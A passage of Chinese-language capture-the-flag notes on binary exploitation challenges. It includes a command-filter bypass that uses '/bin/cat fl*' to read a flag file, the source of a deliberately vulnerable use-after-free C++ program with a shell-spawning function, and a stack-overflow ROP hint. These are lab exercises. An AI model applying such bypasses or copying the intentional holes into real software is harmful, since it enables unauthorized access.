        system( argv[1] );
        return 0;
}

代码很短, 主要就是执行system(argv[1])但可以看到该程序把PATH指向了一个显然不能用的路径, 而且我们传入的argv里不能包含flag, sh, tmp, 也就是不能直接或间接地把flag打印出来.

  1. 没有环境变量, 就直接用绝对路径"/bin/cat"
  2. 不能直接出现flag, 但可以用*通配符啊 所以
1
./cmd "/bin/cat fl*"

没做呢

use after free漏洞 源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <cstdlib>
#include <cstring>
#include <fcntl.h>
#include <iostream>
#include <unistd.h>
using namespace std;
class Human {
private:
  virtual void give_shell() { system("/bin/sh"); }

protected:
  int age;
  string name;

public:
  virtual void introduce() {
    cout << "My name is " << name << endl;
    cout << "I am " << age << " years old" << endl;
  }
};

class Man : public Human {
public:
  Man(string name, int age) {
    this->name = name;
    this->age = age;
  }
  virtual void introduce() {
    Human::introduce();
    cout << "I am a nice guy!" << endl;
  }
};

class Woman : public Human {

public:
  Woman(string name, int age) {
    this->name = name;
    this->age = age;
  }

  virtual void introduce() {
    Human::introduce();
    cout << "I am a cute girl!" << endl;
  }
};

int main(int argc, char *argv[]) {
  Human *m = new Man("Jack", 25);
  Human *w = new Woman("Jill", 21);
  size_t len;
  char *data;
  unsigned int op;
  while (1) {
    cout << "1. use\n2. after\n3. free\n";
    cin >> op;
    switch (op) {
    case 1:
      m->introduce();
      w->introduce();
      break;
    case 2:
      len = atoi(argv[1]);
      data = new char[len];
      read(open(argv[2], O_RDONLY), data, len);
      cout << "your data is allocated" << endl;
      break;
    case 3:
      delete m;
      delete w;
      break;
    default:
      break;
    }
  }
  return 0;
}
1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF
  sleep(3u);
  return read(0, buf, 0x50FuLL);
}

GOT表里什么都没有, 乍一看好像寄了, 但神奇的地方在于这个read的参数0x50F, 他在内存里是个0x0F05,所以用ROPgadget能找到一个syscall.

0.虚表 1 2 3